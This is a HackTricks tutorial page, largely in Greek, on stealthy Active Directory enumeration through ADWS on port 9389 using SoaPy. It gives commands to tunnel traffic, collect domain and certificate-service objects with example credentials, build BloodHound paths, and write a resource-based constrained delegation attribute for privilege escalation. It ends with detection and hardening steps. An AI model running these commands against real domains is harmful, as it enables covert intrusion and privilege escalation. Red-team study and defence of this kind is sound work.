Active Directory Web Services (ADWS) Enumeration & Stealth Collection

Reading time: 6 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι το ADWS;

Οι Υπηρεσίες Ιστού Active Directory (ADWS) είναι ενεργοποιημένες από προεπιλογή σε κάθε Domain Controller από το Windows Server 2008 R2 και ακούνε σε TCP 9389. Παρά το όνομα, δεν εμπλέκεται HTTP. Αντίθετα, η υπηρεσία εκθέτει δεδομένα τύπου LDAP μέσω μιας στοίβας ιδιόκτητων πρωτοκόλλων πλαισίωσης .NET:

  • MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF

Επειδή η κίνηση είναι ενσωματωμένη μέσα σε αυτά τα δυαδικά πλαίσια SOAP και ταξιδεύει μέσω μιας ασυνήθιστης θύρας, η αρίθμηση μέσω ADWS είναι πολύ λιγότερο πιθανό να ελεγχθεί, φιλτραριστεί ή υπογραφεί από την κλασική κίνηση LDAP/389 & 636. Για τους χειριστές αυτό σημαίνει:

  • Πιο διακριτική αναγνώριση – Οι ομάδες Blue συχνά επικεντρώνονται σε ερωτήματα LDAP.
  • Ελευθερία συλλογής από μη Windows hosts (Linux, macOS) μέσω σήραγγας 9389/TCP μέσω ενός SOCKS proxy.
  • Τα ίδια δεδομένα που θα αποκτούσατε μέσω LDAP (χρήστες, ομάδες, ACLs, σχήμα, κ.λπ.) και η δυνατότητα εκτέλεσης εγγραφών (π.χ. msDs-AllowedToActOnBehalfOfOtherIdentity για RBCD).

ΣΗΜΕΙΩΣΗ: Το ADWS χρησιμοποιείται επίσης από πολλά εργαλεία RSAT GUI/PowerShell, οπότε η κίνηση μπορεί να συγχωνευθεί με νόμιμες δραστηριότητες διαχειριστή.

SoaPy – Εγγενής Πελάτης Python

SoaPy είναι μια πλήρης επαναφορά της στοίβας πρωτοκόλλου ADWS σε καθαρή Python. Δημιουργεί τα πλαίσια NBFX/NBFSE/NNS/NMF byte-for-byte, επιτρέποντας τη συλλογή από συστήματα τύπου Unix χωρίς να αγγίξει το .NET runtime.

Κύρια Χαρακτηριστικά

  • Υποστηρίζει proxy μέσω SOCKS (χρήσιμο από C2 implants).
  • Λεπτομερείς φίλτρα αναζήτησης ταυτόσημα με LDAP -q '(objectClass=user)'.
  • Προαιρετικές εγγραφές ( --set / --delete ).
  • Λειτουργία εξόδου BOFHound για άμεση εισαγωγή στο BloodHound.
  • Σημαία --parse για να ομορφύνει τις χρονικές σφραγίδες / userAccountControl όταν απαιτείται ανθρώπινη αναγνωσιμότητα.

Εγκατάσταση (host χειριστή)

bash
python3 -m pip install soapy-adws   # or git clone && pip install -r requirements.txt

Stealth AD Collection Workflow

Η παρακάτω ροή εργασίας δείχνει πώς να καταγράψετε αντικείμενα τομέα & ADCS μέσω ADWS, να τα μετατρέψετε σε BloodHound JSON και να κυνηγήσετε διαδρομές επιθέσεων με βάση πιστοποιητικά – όλα από το Linux:

  1. Tunnel 9389/TCP από το δίκτυο στόχο στο μηχάνημά σας (π.χ. μέσω Chisel, Meterpreter, SSH dynamic port-forward, κ.λπ.). Εξάγετε export HTTPS_PROXY=socks5://127.0.0.1:1080 ή χρησιμοποιήστε το --proxyHost/--proxyPort του SoaPy.

  2. Collect the root domain object:

bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
  1. Συλλογή αντικειμένων σχετικών με ADCS από το Configuration NC:
bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
  1. Μετατροπή σε BloodHound:
bash
bofhound -i data --zip   # produces BloodHound.zip
  1. Ανεβάστε το ZIP στο BloodHound GUI και εκτελέστε ερωτήματα cypher όπως MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c για να αποκαλύψετε διαδρομές κλιμάκωσης πιστοποιητικών (ESC1, ESC8, κ.λπ.).

Γράφοντας msDs-AllowedToActOnBehalfOfOtherIdentity (RBCD)

bash
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'

Συνδυάστε αυτό με s4u2proxy/Rubeus /getticket για μια πλήρη Resource-Based Constrained Delegation αλυσίδα.

Ανίχνευση & Σκληροποίηση

Λεπτομερής Καταγραφή ADDS

Ενεργοποιήστε τα παρακάτω κλειδιά μητρώου στους Domain Controllers για να αναδείξετε δαπανηρές / αναποτελεσματικές αναζητήσεις που προέρχονται από ADWS (και LDAP):

powershell
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD

Τα γεγονότα θα εμφανίζονται κάτω από Directory-Service με το πλήρες φίλτρο LDAP, ακόμη και όταν το ερώτημα έφτασε μέσω ADWS.

SACL Canary Objects

  1. Δημιουργήστε ένα ψεύτικο αντικείμενο (π.χ. απενεργοποιημένος χρήστης CanaryUser).
  2. Προσθέστε μια Audit ACE για τον Everyone κύριο, που ελέγχεται στο ReadProperty.
  3. Όποτε ένας επιτιθέμενος εκτελεί (servicePrincipalName=*), (objectClass=user) κ.λπ., ο DC εκπέμπει Event 4662 που περιέχει το πραγματικό SID του χρήστη – ακόμη και όταν το αίτημα είναι προξενευμένο ή προέρχεται από το ADWS.

Παράδειγμα προεγκατεστημένου κανόνα Elastic:

kql
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"

Tooling Summary

ΣκοπόςΕργαλείοΣημειώσεις
ADWS enumerationSoaPyPython, SOCKS, read/write
BloodHound ingestBOFHoundΜετατρέπει τα logs του SoaPy/ldapsearch
Cert compromiseCertipyΜπορεί να προξενηθεί μέσω του ίδιου SOCKS

References

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks